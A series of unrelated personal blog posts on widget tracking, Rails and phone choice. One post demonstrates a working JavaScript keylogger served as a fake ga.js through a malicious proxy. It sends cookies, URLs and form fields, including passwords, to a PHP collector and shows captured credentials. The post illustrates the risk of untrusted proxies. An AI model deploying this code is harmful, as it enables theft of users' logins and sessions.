A fake, android powered iPad in Dragon Mart.

Welcome the “widget”. A piece of html (with css, javascript..) to be included in another page, often to socially spread content (Facebook Like, Google +1, LinkedIN share, etc), or other added value (Analytics, sharing, etc) will tell many “providers” what content you are accessing.

It is difficult now to find a popular page without any widgets. Pages pack “like” buttons, “share this” widgets or tweet options to give you a instant way of sharing their content in your social network – banking on good ‘ole word of mouth marketing. If your friends like something, you might be interested also, even if it was only for peer pressure.

The problem that when something (such as the widget) is requested, browser data (such as your session’s information and the referer) also flow to the widget provider’s webserver. This provider will know what page you’re on and usually who you are (assuming you stay logged in into google, twitter, facebook, etc)

Thinking “but if I like a page, facebook will know it anyways“. This is true; the problem lies in the fact that providers know you’re accessing a page, regardless of performing any action (liking, sharing, etc). If you read X number of pages on a new model smartphone, chances are big you want to buy another one – and targeted ads become more… targeted.

From that advertising point of view, it creates mixed feelings. It’s like somebody overlooking your shoulder while you’re reading a magazine and changes the ads accordingly to which article you were staring at longer.

From a website owner point of view, this does create added value. If you can convince to have websites publish your widget code, you can track people’s interests, even before they ever came to your website. This (unidentifiable) user eventually ends up on your web app, identifies him/her self and you have great information. I’m just not sure how ethical this is, and even though Facebook’s outdated law enforcement guidelines don’t hold “webpages visited” in particular, they would have access to it.

Is this such a bad thing? Perhaps. “Widget providers” offer added value to website owners, who in turn decide what goes into their webpages. Vague idea, but maybe a browser extension could prevent the loading of these widgets, replacing them with a pseudo equivalent (fake buttons, etc) and only dynamically load the target script upon a click?

Food for thought. Now, look at the buttons below, they know you’ve been here already.

Although I just started on it, and haven’t seen all the goodness, one thing that raised my eyebrows is how static content a la CSS and JavaScript is handled, through an asset pipeline.

In a nutshell, since I’m doing the JQuery bit of the site now, wouldn’t it make much more sense to fetch the libraries from CDN’s, cache the remaining recurring libraries in Nginx (or Apache), and leaving the page specific bits in one big <script> tag, instead of pushing all in a bloated application.js page?

Then again, although I think Rails was what the web community needed, I always had my ideas about frameworks.

Thanks,
Michael

The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page. Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, …). It’s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.

“Overwriting” javascript libraries, or rather “inserting javascript” can be done in several ways. Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and “fake” the ga.js javascript file.

For this, you’d need only 2 files:

• Javascript keylogger
• PHP backend script

This javascript file, found here, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself:

var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});

Upon a “form submit” event, the current URL, the current cookie and all the page <input> fields are stored in a JSON object. This is Base64 encoded and passed on to a defined URL (http://www.google-analytics.com/dump.php?a= in this above case).

The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case. This script (here) stores the current date, and a dump of all passed on variables in a defined text file.

  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);

Since it decodes a JSON object, dump.php will require JSON support, this can be installed using pear. Debian, it’s done using the following:

  apt-get install php-pear
  pear install Services_JSON

To verify this, you will see a JSON entry in the phpinfo() output.

When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all <form> submits should be recorded in the text file, in the form of:

on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
name : user
pass : secret1552
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :

No, this is no hack against Google Analytics or 7days, the latter is something that would look slightly different.

Although this example uses Google Analytics, it could be used for many other “popular” javascripts that are included in terms of widgets. The handy things about Google Analytics is that it’s invisible to the user whether it is loaded or not.

Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them. Always make sure you can trust your proxy administrators.

Thank you,
Michael

PS: these scripts are far from perfect, they don’t trap XHR requests and many other things, but it gets the point across.

It seems to be hacked by a particular W0LF Gh4m3d, a person who does several defacements without any political agenda. One of his/her hcks was “www.wijnabonnement.nl “, which actually translates into wine subscription, not a good thing putting a Saudi Arabian flag on there, is it?

The javascript fails around line 60 in themes/TFnewscast/js/custom.js:

jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader});

This can be fixed by surrounding it with a if statement that verifies that you’re not running IE nor opera:

if(!(jQuery.browser.opera || jQuery.browser.msie)){
  jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader});
}

And that should do it.

How can this be stopped? Modern websites include, because of widgets, several external Javascripts onto their own sites. When going to the gadget popular website engadget.com, a total of 17 hosts are contacted…

• engadget.com
• blogsmithmedia.com
• o.aolcdn.com
• platform.twitter.com
• b.engadget.com
• o.sa.aol.com
• h.scorecardresearch.com
• blogcdn.com
• platform0.twitter.com
• urls.api.twitter.com
• platform.twitter.com
• aolcdn.com
• facebook.com
• engadget2.disqus.com
• static.ak.fbcdn.net
• mediacdn.disqus.com
• disqus.com

Wouldn’t it be easier for an attacker to -perhaps- perform DNS poisoning to take over one of these hostnames, to include javascripts in multiple websites? With the [like] buttons, [retweet] buttons and [addthis] widgets, one could target many websites all at once.

Stopping this is partially performed by browsers, such as Firefox’s “this site downloads contents from xxxx.com, which contains malicious material”, but that’s only after a website is labelled as malicious. Could there be an answer where websites follow a “trusted list” (where sites register the widgets they use) type of model?

Just wondering on a thursday morning.

It was a bit getting used to (and necesarry nagging from my end), but here are some of the reasons why I love it, and some reasons why I miss my Blackberry:

• Hardware: Maybe unfair, but initially I had the Curve 8320. That was a solid, throw-me-around-and-I-won’t-break phone. Since then, my later Curve (8900) seemed to have inferior hardware, and the trackball always got stuck. I tried several cleaning techniques, and it always stayed bad. To an extend that I could only scroll in one direction, then it was time to switch.
• Browser: RIM, we’re not the 90′s anymore.
• Developing: writing apps for the Android OS is more fun, and there are more examples available.
• Privacy: although BlackBerry is said to be “fort knox security”, recently there were some concerns about RIM allowing local providers to snoop on BBM and Email messages. Now, it seems they gave in. I have nothing to hide from the government, but this is misleading. Now I am well happy in my SSH and SSL environment.
• Apps: Not as strong as the Apple Appstore, Android has a lot more apps than blackberry. I am not a multimedia person and couldn’t care less in having the lastest 3D shooters on my phone. There’s just a few apps that make life easier on the Android, compared to the ‘Berry.

On another side, things I do miss about my blackberry:

• The Keyboard: hands.down.the.best.ever. I never really liked touchscreen keyboards
• BBM: I do miss chatting with my friends over BBM
• Unlimited Data: although for Etisalat and Du that means “fair usage of 2 GB”
• Email experience: perhaps a combination of both the keyboard and the app, but emails are easy with BB, although being an avid Gmail user, I like the native Google Contact/Email, … iintegration.

As said, i don’t care much about 3D games or camera quality, so that’s all good. I mainly use my phone for making and receiving phone calls, SMS’s, Emails and occasional web surfing.

Thanks,
Michael

In Ruby on Rails, to have this identifier available for you, you need to put <%= csrf_meta_tag %> in your view, usually in app/views/layouts/application.html.erb. This tag creates something like:

<meta name=”csrf-param” content=”authenticity_token”/>
<meta name=”csrf-token” content=”uDDuQj14CCJ…”>

If you create your own AJAX functions, say with JQuery, you would need these values in order to have rails handle your request. This can be done using the following:

var param = $(‘meta[name=csrf-token]‘).attr(‘content’);

Which you can use then in your AJAX requests

$.post(‘/post’, { body: $(‘#post_body’).val(), authenticity_token: param }, function(data){
var ret = jQuery.parseJSON(data);
if(ret.status==”ok”) {
…

Differences between 1987 and 2007:

Ctrl-Z:

Interview:

iNoticed

Backups:

Microcode:

Arabic support:

uSleep();

Firewalls: